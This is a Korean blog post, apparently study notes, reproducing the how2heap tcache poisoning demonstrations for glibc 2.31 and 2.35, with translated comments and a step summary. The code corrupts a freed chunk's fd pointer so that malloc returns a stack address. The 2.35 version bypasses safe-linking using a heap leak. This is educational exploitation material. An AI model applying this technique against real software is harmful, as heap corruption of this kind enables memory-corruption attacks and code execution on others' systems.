glibc 2.31
https://github.com/shellphish/how2heap/blob/master/glibc_2.31/tcache_poisoning.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
// 버퍼링 비활성화
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("이 파일은 malloc을 속여 임의의 위치(이 경우 스택)를 가리키는 포인터를 반환하도록 하는 간단한 tcache 독립성 공격을 보여줍니다.\n"
"이 공격은 fastbin 손상 공격과 매우 유사합니다.\n");
printf("패치 후 https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"fd 포인터 위조 전에 패딩으로 한 번 더 청크를 생성하고 해제해야합니다.\n\n");
size_t stack_var;
printf("malloc()이 반환해야하는 주소는 %p입니다.\n", (char *)&stack_var);
printf("두 개의 버퍼를 할당합니다.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);
printf("버퍼를 해제합니다...\n");
free(a);
free(b);
printf("이제 tcache 목록에 [ %p -> %p ]이 있습니다.\n", b, a);
printf("데이터의 첫 %lu 바이트 (fd/다음 포인터)를 %p의 위치로 조작하여 컨트롤하고자 하는 위치(%p)를 가리키도록 덮어 씁니다.\n", sizeof(intptr_t), b, &stack_var);
b[0] = (intptr_t)&stack_var;
printf("이제 tcache 목록에 [ %p -> %p ]이 있습니다.\n", b, &stack_var);
printf("1st malloc(128): %p\n", malloc(128));
printf("이제 tcache 목록에 [ %p ]이 있습니다.\n", &stack_var);
intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("컨트롤을 얻었습니다.\n");
assert((long)&stack_var == (long)c);
return 0;
}
1. tcache bin에 청크 2개를 넣는다.
2. 나중에 해제한 청크의 fd를 원하는 위치로 변조한다.
3. 두 번 malloc하면 변조한 위치에 청크가 할당된다.
glibc 2.35
https://github.com/shellphish/how2heap/blob/master/glibc_2.35/tcache_poisoning.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
// 버퍼링 비활성화
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("이 파일은 malloc을 속여 임의의 위치(이 경우 스택)를 가리키는 포인터를 반환하도록 하는 간단한 tcache 독립성 공격을 보여줍니다.\n"
"이 공격은 fastbin 손상 공격과 매우 유사합니다.\n");
printf("패치 후 https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"fd 포인터 위조 전에 패딩으로 한 번 더 청크를 생성하고 해제해야합니다.\n\n");
printf("패치 후 https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n"
"tcache 독립성 공격을 수행하려면 힙 주소 유출이 필요합니다.\n"
"동일한 패치는 tcache에서 반환된 청크가 올바르게 정렬되도록 보장합니다.\n\n");
size_t stack_var[0x10];
size_t *target = NULL;
// 적절하게 정렬된 대상 주소 선택
for(int i=0; i<0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}
assert(target != NULL);
printf("malloc()이 반환해야하는 주소는 %p입니다.\n", target);
printf("두 개의 버퍼를 할당합니다.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);
printf("버퍼를 해제합니다...\n");
free(a);
free(b);
printf("이제 tcache 목록에 [ %p -> %p ]이 있습니다.\n", b, a);
printf("데이터의 첫 %lu 바이트 (fd/다음 포인터)를 %p의 위치로 조작하여 컨트롤하고자 하는 위치(%p)를 가리키도록 덮어 씁니다.\n", sizeof(intptr_t), b, target);
// 취약점
// 다음 작업은 b의 주소가 알려져 있다고 가정하며 이를 위해서는 힙 누출이 필요합니다.
b[0] = (intptr_t)((long)target ^ (long)b >> 12);
// 취약점
printf("이제 tcache 목록에 [ %p -> %p ]이 있습니다.\n", b, target);
printf("1st malloc(128): %p\n", malloc(128));
printf("이제 tcache 목록에 [ %p ]이 있습니다.\n", target);
intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("컨트롤을 얻었습니다.\n");
assert((long)target == (long)c);
return 0;
}
2.31과 흐름은 동일하다.
다만 fd를 조작할 때 연산 과정이 존재하는데 힙 주소가 사용되므로 릭이 필요하다.
'background > linux' 카테고리의 다른 글
[pwn.college] Return Oriented Programming (1) | 2024.05.02 |
---|---|
FSOP(File Stream Oriented Programming) (0) | 2024.04.29 |
[how2heap] House of Botcake (glibc 2.31) (0) | 2024.03.18 |
[how2heap] Fastbin dup into stack (glibc 2.35) (1) | 2024.03.11 |
[how2heap] Fastbin dup (glibc 2.35) (0) | 2024.03.05 |